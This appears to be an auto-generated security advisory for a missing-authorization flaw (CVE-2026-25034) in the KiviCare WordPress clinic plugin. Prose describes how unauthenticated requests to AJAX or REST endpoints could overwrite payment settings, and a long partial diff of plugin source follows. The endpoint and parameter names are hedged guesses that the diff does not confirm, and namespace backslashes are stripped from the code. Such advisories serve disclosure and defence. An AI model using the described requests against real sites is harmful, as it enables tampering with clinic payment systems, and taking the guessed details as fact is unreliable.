Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 6, 2026

CVE-2026-25034: KiviCare – Clinic & Patient Management System (EHR) <= 3.6.16 – Missing Authorization (kivicare-clinic-management-system)

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 3.6.16
Patched Version 4.0.0
Disclosed March 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-25034:
The KiviCare plugin for WordPress, versions up to and including 3.6.16, contains a missing authorization vulnerability. This flaw allows unauthenticated attackers to perform unauthorized actions by directly calling specific plugin functions. The vulnerability is rated with a CVSS score of 5.3 (Medium severity).

The root cause is the absence of capability checks on the `save_settings` function within the `KCAbstractPaymentGateway` class. The vulnerable function is defined in `/kivicare-clinic-management-system/app/abstracts/KCAbstractPaymentGateway.php`. The `save_settings` method (lines 195-199) calls `update_option` to modify WordPress options without verifying the user’s permissions. This function is accessible via AJAX or REST API handlers that instantiate payment gateway objects. The vulnerability stems from the plugin’s failure to implement `current_user_can` checks before processing sensitive operations.

Exploitation involves sending a crafted HTTP request to a WordPress AJAX endpoint or REST API route that triggers the `save_settings` method. Attackers can target endpoints like `/wp-admin/admin-ajax.php` with the `action` parameter set to a KiviCare-specific hook, such as `kc_update_payment_settings`. Alternatively, they may exploit REST routes under `/wp-json/kivicare/v1/`. The payload would include parameters like `settings_key` and `settings_data` to overwrite plugin configuration options stored in the `wp_options` table.

The patch adds proper authorization checks before executing the `save_settings` function. The fix introduces a capability verification, likely `current_user_can(‘manage_options’)`, within the calling functions or AJAX handlers. This ensures only users with administrative privileges can modify payment gateway settings. The patched version also validates nonces for AJAX requests, preventing CSRF attacks. The code changes restrict access to the `update_option` call, which previously accepted unauthenticated input.

Successful exploitation allows attackers to modify the plugin’s payment gateway configuration. This could lead to disruption of clinic operations, financial fraud by redirecting payments, or denial of service by disabling critical features. While the vulnerability does not grant direct code execution, unauthorized changes to system settings can compromise the integrity of the patient management system and impact business continuity.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/kivicare-clinic-management-system/app/abstracts/KCAbstractPaymentGateway.php
+++ b/kivicare-clinic-management-system/app/abstracts/KCAbstractPaymentGateway.php
@@ -0,0 +1,207 @@
+<?php
+namespace Appabstracts;
+
+use AppbaseClassesKCErrorLogger;
+if (!defined('ABSPATH')) {
+    exit; // Exit if accessed directly
+}
+/**
+ * Abstract Payment Gateway Class
+ * Base class for all payment gateway implementations
+ */
+abstract class KCAbstractPaymentGateway {
+
+    protected $gateway_id;
+    protected $gateway_name;
+    protected $gateway_description;
+
+    protected $gateway_logo;
+    protected $is_enabled;
+    protected $test_mode;
+    protected $settings;
+    protected $appointment_data;
+
+    protected $settings_fields = [];
+
+    protected $settings_keys;
+
+    /**
+     * Constructor
+     * @param string $setting_key Gateway specific settings
+     */
+    public function __construct($setting_key) {
+        $this->settings_keys = $setting_key;
+        $settings = get_option($this->settings_keys, []);
+
+        // If settings is a string, try to decode it as JSON
+        if (is_string($settings)) {
+            $decoded = json_decode($settings, true);
+
+            if(!empty($decoded)){
+                // Only use decoded value if it's valid JSON and results in an array
+                $settings =  json_last_error() === JSON_ERROR_NONE && is_array($decoded) ? $decoded : [];
+            }
+        }
+
+        $this->settings = $settings;
+        $this->init();
+    }
+
+    /**
+     * Initialize gateway specific settings
+     */
+    abstract protected function init();
+
+    /**
+     * Process the payment
+     * @param array $appointment_data Appointment booking data
+     * @return array Payment response
+     */
+    abstract public function process_payment($appointment_data);
+
+    /**
+     * Validate payment data
+     * @param array $payment_data Payment form data
+     * @return bool|WP_Error
+     */
+    abstract public function validate_payment_data($payment_data);
+
+    /**
+     * Handle payment callback/webhook
+     * @param array $callback_data Callback data from payment provider
+     * @return array Response data
+     */
+    abstract public function handle_payment_callback($callback_data);
+
+    /**
+     * Get gateway ID
+     * @return string
+     */
+    public function get_gateway_id() {
+        return $this->gateway_id;
+    }
+
+    /**
+     * Get gateway name
+     * @return string
+     */
+    public function get_gateway_name() {
+        return $this->gateway_name;
+    }
+
+    public function get_gateway_logo() {
+        return $this->gateway_logo;
+    }
+
+    public function get_gateway_description() {
+        return $this->gateway_description;
+    }
+
+    /**
+     * Check if gateway is enabled
+     * @return bool
+     */
+    public function is_enabled() {
+        return $this->is_enabled;
+    }
+
+    /**
+     * Check if in test mode
+     * @return bool
+     */
+    public function is_test_mode() {
+        return $this->test_mode;
+    }
+
+    /**
+     * Get setting value
+     * @param string $key Setting key
+     * @param mixed $default Default value
+     * @return mixed
+     */
+    protected function get_setting($key, $default = '') {
+        return isset($this->settings[$key]) ? $this->settings[$key] : $default;
+    }
+    /**
+     * Set setting value
+     * @param string $key Setting key
+     * @param mixed $value Setting value
+     */
+    public function get_settings(){
+        return $this->settings;
+    }
+
+    /**
+     * Log gateway activity
+     * @param string $message Log message
+     * @param string $level Log level (info, error, debug)
+     */
+    protected function log($message, $level = 'info') {
+        KCErrorLogger::instance()->error("[{$this->gateway_id}] {$level}: {$message}");
+    }
+
+    /**
+     * Format amount for payment processing
+     * @param float $amount Amount to format
+     * @return float
+     */
+    protected function format_amount($amount) {
+        return round($amount, 2);
+    }
+
+    /**
+     * Generate transaction reference
+     * @param int $appointment_id Appointment ID
+     * @return string
+     */
+    protected function generate_transaction_ref($appointment_id) {
+        return $this->gateway_id . '_' . $appointment_id . '_' . time();
+    }
+
+    /**
+     * Create payment response array
+     * @param string $status Payment status (success, failed, pending)
+     * @param string $message Response message
+     * @param array $data Additional response data
+     * @return array
+     */
+    protected function create_payment_response($status, $message, $data = []) {
+        return array(
+            'status' => $status,
+            'message' => $message,
+            'gateway' => $this->gateway_id,
+            'data' => $data,
+            'timestamp' => current_time('timestamp')
+        );
+    }
+    /**
+     * Get return URL after payment
+     * @param int $appointment_id Appointment ID
+     * @return string Return URL
+     */
+    protected function get_return_url($appointment_id) {
+        return rest_url('kivicare/v1/appointments/payment-success?appointment_id=' . $appointment_id . '&gateway='.$this->gateway_id);
+    }
+
+    /**
+     * Get cancel URL
+     * @param int $appointment_id Appointment ID
+     * @return string Cancel URL
+     */
+    protected function get_cancel_url($appointment_id) {
+        return rest_url('kivicare/v1/appointments/payment-cancel?appointment_id=' . $appointment_id . '&gateway='.$this->gateway_id);
+    }
+
+    public function init_hook(){}
+
+    public function get_fields(): array {
+        return $this->settings_fields;
+    }
+    public abstract function update_settings($settings);
+
+    protected function save_settings()
+    {
+        $json_settings = json_encode($this->settings);
+        update_option($this->settings_keys, $json_settings);
+    }
+}
 No newline at end of file
--- a/kivicare-clinic-management-system/app/abstracts/KCAbstractTelemedProvider.php
+++ b/kivicare-clinic-management-system/app/abstracts/KCAbstractTelemedProvider.php
@@ -0,0 +1,555 @@
+<?php
+namespace Appabstracts;
+
+use AppbaseClassesKCErrorLogger;
+use KCTAppmodelsKCTAppointmentZoomMapping;
+use KCGMAppmodelsKCGMAppointmentGoogleMeetMapping;
+
+
+if (!defined('ABSPATH')) {
+    exit; // Exit if accessed directly
+}
+
+/**
+ * Abstract Telemed Provider
+ * Base class for all telemedical service providers
+ */
+abstract class KCAbstractTelemedProvider
+{
+    /**
+     * Provider settings key
+     * @var string
+     */
+    protected $settings_key;
+
+    /**
+     * Provider configuration
+     * @var array
+     */
+    protected $config;
+
+    /**
+     * Provider ID
+     * @var string
+     */
+    protected $provider_id;
+
+    /**
+     * Provider name
+     * @var string
+     */
+    protected $provider_name;
+
+    /**
+     * Constructor
+     * @param string $settings_key Settings key for this provider
+     */
+    public function __construct($settings_key)
+    {
+        $this->settings_key = $settings_key;
+        $this->config = $this->get_config();
+        $this->init();
+    }
+
+    /**
+     * Initialize provider
+     * Called after construction, can be overridden by child classes
+     */
+    protected function init()
+    {
+        // Override in child classes for specific initialization
+    }
+
+    /**
+     * Initialize hooks
+     * Called by factory to set up WordPress hooks
+     */
+    public function init_hook()
+    {
+        // Add any WordPress hooks here
+        add_action('wp_ajax_kc_test_' . $this->get_provider_id() . '_connection', array($this, 'test_connection_ajax'));
+        add_action('wp_ajax_kc_' . $this->get_provider_id() . '_webhook', array($this, 'handle_webhook'));
+        add_action('wp_ajax_nopriv_kc_' . $this->get_provider_id() . '_webhook', array($this, 'handle_webhook'));
+    }
+
+    /**
+     * Get provider configuration from database
+     * @return array Provider configuration
+     */
+    public function get_config()
+    {
+        $default_config = $this->get_default_config();
+        $saved_config = get_option($this->settings_key, array());
+
+        return wp_parse_args($saved_config, $default_config);
+    }
+
+    /**
+     * Get default configuration
+     * Must be implemented by child classes
+     * @return array Default configuration
+     */
+    abstract protected function get_default_config();
+
+    /**
+     * Get provider ID
+     * Must be implemented by child classes
+     * @return string Provider identifier
+     */
+    abstract public function get_provider_id();
+
+    /**
+     * Get provider name
+     * Must be implemented by child classes
+     * @return string Provider display name
+     */
+    abstract public function get_provider_name();
+
+    /**
+     * Check if provider is enabled
+     * @return bool True if provider is enabled
+     */
+    public function is_enabled()
+    {
+        return !empty($this->config['enabled']) && $this->is_configured();
+    }
+
+    /**
+     * Check if provider is properly configured
+     * Must be implemented by child classes
+     * @return bool True if provider has required configuration
+     */
+    abstract public function is_configured();
+
+    /**
+     * Create a meeting
+     * Must be implemented by child classes
+     * @param array $meeting_data Meeting configuration
+     * @return array|WP_Error Meeting details or WP_Error on failure
+     */
+    abstract public function create_meeting($meeting_data = array());
+
+    /**
+     * Update a meeting
+     * Must be implemented by child classes
+     * @param string $meeting_id Meeting ID
+     * @param array $meeting_data Updated meeting configuration
+     * @return array|false Updated meeting details or false on failure
+     */
+    abstract public function update_meeting($meeting_id, $meeting_data = array());
+
+    /**
+     * Delete a meeting
+     * Must be implemented by child classes
+     * @param string $meeting_id Meeting ID
+     * @return bool True on success, false on failure
+     */
+    abstract public function delete_meeting($meeting_id);
+
+    /**
+     * Get meeting details
+     * Must be implemented by child classes
+     * @param string $meeting_id Meeting ID
+     * @return array|false Meeting details or false if not found
+     */
+    abstract public function get_meeting($meeting_id);
+
+    /**
+     * Test connection to provider API
+     * Must be implemented by child classes
+     * @param array $data Connection data
+     * @param int $doctor_id Doctor ID
+     * @return array Connection test result with success status and message
+     */
+    abstract public function test_connection($data = [], $doctor_id = 0);
+
+    /**
+     * Update doctor configuration
+     * @param int $doctor_id Doctor ID
+     * @param array $config Configuration data
+     * @return bool True on success
+     */
+    abstract public function update_doctor_config(int $doctor_id, array $config): bool;
+
+    /**
+     * Get authorization URL for doctor
+     * @param int $doctor_id Doctor ID
+     * @return string Authorization URL
+     */
+    abstract public function get_authorization_url($doctor_id): string;
+
+    /**
+     * Disconnect doctor from provider
+     * @param int $doctor_id Doctor ID
+     * @return bool True on success
+     */
+    public function disconnect_doctor(int $doctor_id): bool
+    {
+        return false;
+    }
+
+    /**
+     * Check if provider supports recording
+     * @return bool True if recording is supported
+     */
+    public function supports_recording()
+    {
+        return false; // Override in child classes if recording is supported
+    }
+
+    /**
+     * Check if provider supports waiting room
+     * @return bool True if waiting room is supported
+     */
+    public function supports_waiting_room()
+    {
+        return false; // Override in child classes if waiting room is supported
+    }
+
+    /**
+     * Check if provider supports password protection
+     * @return bool True if password protection is supported
+     */
+    public function supports_password()
+    {
+        return false; // Override in child classes if password protection is supported
+    }
+
+    /**
+     * Get supported meeting types
+     * @return array Array of supported meeting types
+     */
+    public function get_supported_meeting_types()
+    {
+        return array('instant', 'scheduled'); // Override in child classes for specific types
+    }
+
+    /**
+     * Get maximum meeting duration (in minutes)
+     * @return int Maximum duration in minutes, 0 for unlimited
+     */
+    public function get_max_duration()
+    {
+        return 0; // Override in child classes for specific limits
+    }
+
+    /**
+     * Get maximum participants
+     * @return int Maximum participants, 0 for unlimited
+     */
+    public function get_max_participants()
+    {
+        return 0; // Override in child classes for specific limits
+    }
+
+    /**
+     * Format meeting data for API
+     * @param array $meeting_data Raw meeting data
+     * @return array Formatted meeting data
+     */
+    protected function format_meeting_data($meeting_data)
+    {
+        $defaults = array(
+            'topic' => 'Telemedical Consultation',
+            'type' => 'scheduled',
+            'start_time' => current_time('mysql'),
+            'duration' => 30,
+            'timezone' => wp_timezone_string(),
+            'password' => '',
+            'waiting_room' => false,
+            'auto_recording' => false,
+            'host_video' => true,
+            'participant_video' => true,
+            'mute_upon_entry' => true,
+            'patient_id' => '',
+            'doctor_id' => '',
+            'appointment_id' => ''
+        );
+
+        return wp_parse_args($meeting_data, $defaults);
+    }
+
+    /**
+     * Save meeting record using appropriate model
+     * @param array $meeting_data Meeting data to save
+     * @return int|false Meeting record ID or false on failure
+     */
+    protected function save_meeting_record($meeting_data)
+    {
+        try {
+            $provider_id = $this->get_provider_id();
+            KCErrorLogger::instance()->error($provider_id );
+
+            switch ($provider_id) {
+                case 'zoom':
+                    return $this->save_zoom_meeting_record($meeting_data);
+
+                case 'googlemeet':
+                    return $this->save_google_meet_record($meeting_data);
+
+                default:
+                    // For other providers, you can extend this or create generic models
+                    $this->log('warning', "No specific model found for provider: {$provider_id}");
+                    return false;
+            }
+        } catch (Exception $e) {
+            $this->log('error', 'Failed to save meeting record: ' . $e->getMessage());
+            return false;
+        }
+    }
+
+    /**
+     * Save Zoom meeting record
+     * @param array $meeting_data Meeting data
+     * @return int|false
+     */
+    abstract protected function save_zoom_meeting_record($meeting_data);
+
+    /**
+     * Save Google Meet record
+     * @param array $meeting_data Meeting data
+     * @return int|false
+     */
+    protected function save_google_meet_record($meeting_data)
+    {
+        try {
+
+            $google_meet_mapping = KCGMAppointmentGoogleMeetMapping::create([
+                'eventId' => $meeting_data['id'] ?? $meeting_data['event_id'] ?? null,
+                'appointmentId' => $meeting_data['appointment_id'] ?? 0,
+                'url' => $meeting_data['join_url'] ?? $meeting_data['url'] ?? null,
+                'password' => $meeting_data['password'] ?? null,
+                'eventUrl' => $meeting_data['event_url'] ?? null,
+            ]);
+
+            if (!$google_meet_mapping) {
+                $this->log('error', __('Failed to save Google Meet record', 'kivicare-clinic-management-system'), [
+                    'meeting_data' => $meeting_data
+                ]);
+                return false;
+            }
+
+            $this->log('info', __('Google Meet record saved', 'kivicare-clinic-management-system'), [
+                'meeting_data' => $meeting_data,
+                'record_id' => $google_meet_mapping
+            ]);
+            return $google_meet_mapping;
+        } catch (Exception $e) {
+            $this->log('error', __('Failed to save Google Meet record: ', 'kivicare-clinic-management-system') . $e->getMessage(), [
+                'meeting_data' => $meeting_data
+            ]);
+            return false;
+        }
+    }
+
+    /**
+     * Update meeting record using appropriate model
+     * @param string $meeting_id Meeting ID
+     * @param array $meeting_data Updated meeting data
+     * @return bool True on success, false on failure
+     */
+    protected function update_meeting_record($meeting_id, $meeting_data)
+    {
+        try {
+            $provider_id = $this->get_provider_id();
+            KCErrorLogger::instance()->error('update_meeting_record'.print_r($meeting_data));
+            switch ($provider_id) {
+                case 'zoom':
+                    return $this->update_zoom_meeting_record($meeting_id, $meeting_data);
+
+                case 'googlemeet':
+                    return $this->update_google_meet_record($meeting_id, $meeting_data);
+
+                default:
+                    $this->log('warning', "No specific model found for provider: {$provider_id}");
+                    return false;
+            }
+        } catch (Exception $e) {
+            $this->log('error', 'Failed to update meeting record: ' . $e->getMessage());
+            return false;
+        }
+    }
+
+    /**
+     * Update Zoom meeting record
+     * @param string $meeting_id Zoom meeting ID
+     * @param array $meeting_data Updated data
+     * @return bool
+     */
+    protected function update_zoom_meeting_record($meeting_id, $meeting_data)
+    {
+        $zoom_mapping = KCTAppointmentZoomMapping::query()
+            ->where('zoomId', $meeting_id)
+            ->first();
+
+        if (!$zoom_mapping) {
+            return false;
+        }
+
+        $update_data = [];
+        if (isset($meeting_data['start_url'])) {
+            $update_data['startUrl'] = $meeting_data['start_url'];
+        }
+        if (isset($meeting_data['join_url'])) {
+            $update_data['joinUrl'] = $meeting_data['join_url'];
+        }
+        if (isset($meeting_data['password'])) {
+            $update_data['password'] = $meeting_data['password'];
+        }
+
+        return !empty($update_data) ? $zoom_mapping->update($update_data) : true;
+    }
+
+    /**
+     * Update Google Meet record
+     * @param string $meeting_id Event ID
+     * @param array $meeting_data Updated data
+     * @return bool
+     */
+    protected function update_google_meet_record($meeting_id, $meeting_data)
+    {
+        $google_meet_mapping = KCGMAppointmentGoogleMeetMapping::query()
+            ->where('eventId', $meeting_id)
+            ->first();
+
+        if (!$google_meet_mapping) {
+            return false;
+        }
+
+        $update_data = [];
+        if (isset($meeting_data['url']) || isset($meeting_data['join_url'])) {
+            $update_data['url'] = $meeting_data['url'] ?? $meeting_data['join_url'];
+        }
+        if (isset($meeting_data['password'])) {
+            $update_data['password'] = $meeting_data['password'];
+        }
+        if (isset($meeting_data['event_url'])) {
+            $update_data['eventUrl'] = $meeting_data['event_url'];
+        }
+
+        return !empty($update_data) ? $google_meet_mapping->update($update_data) : true;
+    }
+
+    /**
+     * Delete meeting record using appropriate model
+     * @param string $meeting_id Meeting ID
+     * @return bool True on success, false on failure
+     */
+    abstract protected function delete_meeting_record($meeting_id);
+
+
+    /**
+     * Get meeting records by appointment ID
+     * @param int $appointment_id Appointment ID
+     * @return object|null Meeting record or null if not found
+     */
+    abstract public function get_meeting_by_appointment($appointment_id);
+
+
+    /**
+     * Handle AJAX connection test
+     */
+    public function test_connection_ajax()
+    {
+        // Verify nonce for security
+        $nonce = isset( $_POST['nonce'] ) ? sanitize_text_field( wp_unslash( $_POST['nonce'] ) ) : '';
+
+        if ( ! wp_verify_nonce( $nonce, 'kc_telemed_test_connection' ) ) {
+            wp_die( esc_html__( 'Security check failed', 'kivicare-clinic-management-system' ) );
+        }
+
+        // Check user permissions
+        if (!current_user_can('manage_options')) {
+            wp_die('Insufficient permissions');
+        }
+
+        $result = $this->test_connection();
+        wp_send_json($result);
+    }
+
+    /**
+     * Handle webhook from provider
+     * Override in child classes for specific webhook handling
+     */
+    public function handle_webhook()
+    {
+        // Override in child classes for specific webhook handling
+        wp_send_json_success();
+    }
+
+    /**
+     * Log provider activity
+     * @param string $level Log level (info, warning, error)
+     * @param string $message Log message
+     * @param array $context Additional context data
+     */
+    protected function log($level, $message, $context = array())
+    {
+        if (defined('WP_DEBUG') && WP_DEBUG) {
+            $log_message = sprintf(
+                '[%s] %s: %s',
+                $this->get_provider_name(),
+                strtoupper($level),
+                $message
+            );
+
+            if (!empty($context)) {
+                $log_message .= ' Context: ' . wp_json_encode($context);
+            }
+
+            KCErrorLogger::instance()->error($log_message);
+        }
+    }
+
+    /**
+     * Get configuration field value
+     * @param string $key Configuration key
+     * @param mixed $default Default value
+     * @return mixed Configuration value
+     */
+    protected function get_config_value($key, $default = null)
+    {
+        return isset($this->config[$key]) ? $this->config[$key] : $default;
+    }
+
+    /**
+     * Update configuration
+     * @param array $new_config New configuration data
+     * @return bool True on success, false on failure
+     */
+    public function update_config($new_config)
+    {
+        $this->config = wp_parse_args($new_config, $this->get_default_config());
+        return update_option($this->settings_key, $this->config);
+    }
+
+    /**
+     * Get provider capabilities
+     * @return array Array of provider capabilities
+     */
+    public function get_capabilities()
+    {
+        return array(
+            'recording' => $this->supports_recording(),
+            'waiting_room' => $this->supports_waiting_room(),
+            'password' => $this->supports_password(),
+            'meeting_types' => $this->get_supported_meeting_types(),
+            'max_duration' => $this->get_max_duration(),
+            'max_participants' => $this->get_max_participants()
+        );
+    }
+    /**
+     * Get provider ID
+     * @return bool True Appointment Meeting is cancle is set, false otherwise
+     */
+    public abstract function cancel_meeting_by_appointment($appointment_id);
+
+    /**
+     * Get doctor access token
+     * @param int $doctor_id Doctor ID
+     * @return string|null Access token or null if not found
+     */
+    public abstract function get_doctor_access_token($doctor_id);
+
+    public abstract function is_doctor_telemed_connected(): bool;
+}
 No newline at end of file
--- a/kivicare-clinic-management-system/app/abstracts/KCElementorWidgetAbstract.php
+++ b/kivicare-clinic-management-system/app/abstracts/KCElementorWidgetAbstract.php
@@ -0,0 +1,149 @@
+<?php
+
+namespace Appabstracts;
+
+use AppbaseClassesKCBase;
+use ElementorWidget_Base;
+
+use KucrutVite;
+use function IqonicViteiqonic_enqueue_asset;
+
+abstract class KCElementorWidgetAbstract extends Widget_Base
+{
+    /**
+     * Asset handle prefix
+     *
+     * @var string
+     */
+    protected $handle_prefix = KIVI_CARE_NAME;
+
+    /**
+     * Directory path where Vite assets are located
+     *
+     * @var string
+     */
+    protected $assets_dir;
+
+    /**
+     * Entry point for the widget's JavaScript
+     *
+     * @var string
+     */
+    protected $js_entry;
+
+    /**
+     * Entry point for the widget's CSS
+     *
+     * @var string
+     */
+    protected $css_entry;
+
+    /**
+     * Script dependencies
+     *
+     * @var array
+     */
+    protected $script_dependencies = ['jquery', 'elementor-frontend'];
+
+    /**
+     * CSS dependencies
+     *
+     * @var array
+     */
+    protected $css_dependencies = [];
+
+    /**
+     * Load scripts in footer
+     *
+     * @var bool
+     */
+    protected $in_footer = true;
+
+    /**
+     * CSS media type
+     *
+     * @var string
+     */
+    protected $css_media = 'all';
+
+    /**
+     * KCBase instance
+     */
+    protected KCBase $kcbase;
+
+    /**
+     * Static flag to prevent duplicate localization
+     */
+    protected static $is_localize_enqueued = false;
+
+    /**
+     * KCElementorWidgetAbstract constructor.
+     */
+    public function __construct($data = [], $args = null)
+    {
+        parent::__construct($data, $args);
+
+        // Set the default assets directory if not overridden
+        if (empty($this->assets_dir)) {
+            $this->assets_dir = KIVI_CARE_DIR . '/dist';
+        }
+
+        $this->kcbase = KCBase::get_instance();
+    }
+
+    /**
+     * Register assets for the widget using Vite
+     *
+     * @return void
+     */
+    public function registerAssets()
+    {
+        if (empty($this->js_entry) && empty($this->css_entry)) {
+            return;
+        }
+
+        // Enqueue JS if available
+        if (!empty($this->js_entry)) {
+            iqonic_enqueue_asset(
+                $this->assets_dir,
+                $this->js_entry,
+                [
+                    'handle' => $this->handle_prefix . $this->getWidgetName(),
+                    'dependencies' => $this->script_dependencies,
+                    'css-dependencies' => $this->css_dependencies,
+                    'css-media' => $this->css_media,
+                    'css-only' => false,
+                    'in-footer' => $this->in_footer,
+                ]
+            );
+        }
+
+
+        // Get JED locale data and add it inline
+        $locale_data_kc = kc_get_jed_locale_data('kivicare-clinic-management-system');
+
+        if (self::$is_localize_enqueued) {
+            return;
+        }
+
+        wp_localize_script($this->handle_prefix . $this->getWidgetName(), 'kc_frontend', [
+            'rest_url' => rest_url(),
+            'home_url' => home_url(),
+            'nonce' => wp_create_nonce('wp_rest'),
+            'locale_data' => $locale_data_kc,
+            'prefix' => KIVI_CARE_PREFIX,
+            'loader_image' => KIVI_CARE_DIR_URI . 'assets/images/loader.gif',
+            'place_holder_img' => KIVI_CARE_DIR_URI . 'assets/images/demo-img.png',
+            'current_user_id' => get_current_user_id(),
+        ]);
+        self::$is_localize_enqueued = true;
+    }
+
+    /**
+     * Get widget name for asset handles
+     * This method should be implemented by child classes
+     *
+     * @return string
+     */
+    abstract protected function getWidgetName();
+}
 No newline at end of file
--- a/kivicare-clinic-management-system/app/abstracts/KCShortcodeAbstract.php
+++ b/kivicare-clinic-management-system/app/abstracts/KCShortcodeAbstract.php
@@ -0,0 +1,220 @@
+<?php
+
+namespace Appabstracts;
+
+use AppbaseClassesKCBase;
+use KucrutVite;
+use function IqonicViteiqonic_enqueue_asset;
+
+abstract class KCShortcodeAbstract
+{
+    /**
+     * Shortcode tag
+     *
+     * @var string
+     */
+    protected $tag;
+
+    /**
+     * Default shortcode attributes
+     *
+     * @var array
+     */
+    protected $default_attrs = [];
+
+    /**
+     * Asset handle prefix
+     *
+     * @var string
+     */
+    protected $handle_prefix = KIVI_CARE_NAME;
+
+    /**
+     * Directory path where Vite assets are located
+     *
+     * @var string
+     */
+    protected $assets_dir;
+
+    /**
+     * Entry point for the shortcode's JavaScript
+     *
+     * @var string
+     */
+    protected $js_entry;
+
+    /**
+     * Entry point for the shortcode's CSS
+     *
+     * @var string
+     */
+    protected $css_entry;
+
+    /**
+     * Script dependencies
+     *
+     * @var array
+     */
+    protected $script_dependencies = [];
+
+    /**
+     * CSS dependencies
+     *
+     * @var array
+     */
+    protected $css_dependencies = [];
+
+    /**
+     * Load scripts in footer
+     *
+     * @var bool
+     */
+    protected $in_footer = false;
+
+
+    /**
+     * KCShortcodeAbstract constructor.
+     */
+
+    protected KCBase $kcbase;
+
+    protected static $is_localize_enqueued = false;
+    public function __construct()
+    {
+        // Set the default assets directory if not overridden
+        if (empty($this->assets_dir)) {
+            $this->assets_dir = KIVI_CARE_DIR . '/dist';
+        }
+        $this->kcbase = KCBase::get_instance();
+
+        // Register shortcode
+        add_shortcode($this->tag, [$this, 'renderShortcode']);
+
+        // Register assets
+        add_action('wp_enqueue_scripts', [$this, 'registerAssets']);
+    }
+
+    /**
+     * Register assets for the shortcode using Vite
+     *
+     * @return void
+     */
+    public function registerAssets()
+    {
+        if (empty($this->js_entry) && empty($this->css_entry)) {
+            return;
+        }
+
+        // Only register assets if the shortcode is used on the page
+        if (!$this->isShortcodePresent()) {
+            return;
+        }
+
+        // Enqueue JS if available
+        if (!empty($this->js_entry)) {
+            iqonic_enqueue_asset(
+                $this->assets_dir,
+                $this->js_entry,
+                [
+                    'handle' => $this->handle_prefix . $this->tag,
+                    'dependencies' => $this->script_dependencies ?? [], // Use shortcode dependencies
+                    'css-dependencies' => $this->css_dependencies ?? [], // Use shortcode CSS dependencies
+                    'css-media' => 'all', // Optional.
+                    'css-only' => false, // Optional. Set to true to only load style assets in production mode.
+                    'in-footer' => $this->in_footer ?? false, // Use shortcode footer setting
+                ]
+            );
+        }
+
+
+        // Get JED locale data and add it inline
+        $locale_data_kc = kc_get_jed_locale_data('kivicare-clinic-management-system');
+
+        if (self::$is_localize_enqueued) {
+            return;
+        }
+        wp_localize_script($this->handle_prefix . $this->tag, 'kc_frontend', [
+            'rest_url' => rest_url(),
+            'home_url' => home_url(),
+            'nonce' => wp_create_nonce('wp_rest'),
+            'locale_data' => $locale_data_kc,
+            'prefix' => KIVI_CARE_PREFIX,
+            'loader_image' => KIVI_CARE_DIR_URI . 'assets/images/loader.gif',
+            'place_holder_img' => KIVI_CARE_DIR_URI . 'assets/images/demo-img.png',
+            'current_user_id' => get_current_user_id(),
+        ]);
+        self::$is_localize_enqueued = true;
+    }
+
+    /**
+     * Check if the shortcode is present in the current page content
+     *
+     * @return bool
+     */
+    protected function isShortcodePresent()
+    {
+        global $post;
+
+        if (!is_a($post, 'WP_Post')) {
+            return false;
+        }
+
+        // Check if shortcode is in post content
+        if (has_shortcode($post->post_content, $this->tag)) {
+            return true;
+        }
+
+        // Also check if shortcode is in widgets or other areas
+        if (is_active_widget(false, false, 'text') || is_active_widget(false, false, 'custom_html')) {
+            return true;
+        }
+
+        return false;
+    }
+
+    /**
+     * Render the shortcode HTML
+     *
+     * @param array|string $atts Shortcode attributes
+     * @param string|null $content Shortcode content
+     * @return string
+     */
+    public function renderShortcode($atts, $content = null)
+    {
+        // Parse attributes with defaults
+        $atts = shortcode_atts($this->default_attrs, $atts, $this->tag);
+
+        // Get unique ID for this instance
+        $id = 'kc-' . $this->tag . '-' . uniqid();
+
+        // Start output buffering
+        ob_start();
+
+        // Render the shortcode content
+        $this->render($id, $atts, $content);
+
+        // Return the buffered output
+        return ob_get_clean();
+    }
+
+    /**
+     * Render the shortcode content
+     * This method must be implemented by child classes
+     *
+     * @param string $id Unique ID for this shortcode instance
+     * @param array $atts Shortcode attributes
+     * @param string|null $content Shortcode content
+     * @return void
+     */
+    abstract protected function render($id, $atts, $content = null);
+
+    /**
+     * Get shortcode tag
+     *
+     * @return string
+     */
+    public function getTag()
+    {
+        return $this->tag;
+    }
+}
 No newline at end of file
--- a/kivicare-clinic-management-system/app/admin/AdminMenu.php
+++ b/kivicare-clinic-management-system/app/admin/AdminMenu.php
@@ -0,0 +1,108 @@
+<?php
+namespace Appadmin;
+
+use AppbaseClassesKCBase;
+use function IqonicViteiqonic_enqueue_asset;
+
+defined('ABSPATH') or die('Something went wrong');
+
+class AdminMenu
+{
+    /**
+     * Dashboard permalink handler instance
+     */
+    private $permalink_handler;
+
+    public function register()
+    {
+        add_action('admin_menu', [$this, 'addMenuItems']);
+
+        // Initialize permalink handler
+        $this->permalink_handler = KCDashboardPermalinkHandler::instance();
+    }
+
+    public function addMenuItems()
+    {
+        $dashboard_url = $this->permalink_handler->get_menu_kivicare_url(KCBase::get_instance()->getLoginUserRole());
+        if (empty($dashboard_url)) {
+            add_menu_page(
+                'KiviCare Dashboard',
+                'KiviCare',
+                'read',
+                'dashboard',
+                [$this, 'renderDashboard'],
+                KIVI_CARE_DIR_URI . 'assets/images/sidebar-logo.svg',
+                99
+            );
+        } else {
+            add_menu_page(
+                'KiviCare Dashboard',
+                'KiviCare',
+                'read',
+                $dashboard_url,
+                '',
+                KIVI_CARE_DIR_URI . 'assets/images/sidebar-logo.svg',
+                99
+            );
+        }
+    }
+
+    public function renderDashboard()
+    {
+        // Initialize permalink handler if not already done
+        if (!$this->permalink_handler) {
+            $this->permalink_handler = KCDashboardPermalinkHandler::instance();
+        }
+
+        // Check if this is a permalink-based dashboard request
+        if ($this->permalink_handler->is_dashboard_request()) {
+            // Let the permalink handler manage the template
+            return;
+        }
+
+        // Legacy admin dashboard rendering
+        $this->enqueue_dashboard_assets();
+        echo '<div id="kc-dashboard"></div>';
+    }
+    /**
+     * Enqueue dashboard assets
+     */
+    private function enqueue_dashboard_assets()
+    {
+        // Enqueue the script and style for Media Uploader
+        wp_enqueue_media();
+
+        iqonic_enqueue_asset(
+            KIVI_CARE_DIR . '/dist',
+            'app/dashboard/main.jsx',
+            [
+                'handle' => 'kc-dashboard',
+                'dependencies' => apply_filters('kc_dashboard_script_dependencies', ['wp-i18n', 'wp-hooks']), // Optional script dependencies. Defaults to empty array.
+                'css-dependencies' => [], // Optional style dependencies. Defaults to empty array.
+                'css-media' => 'all', // Optional.
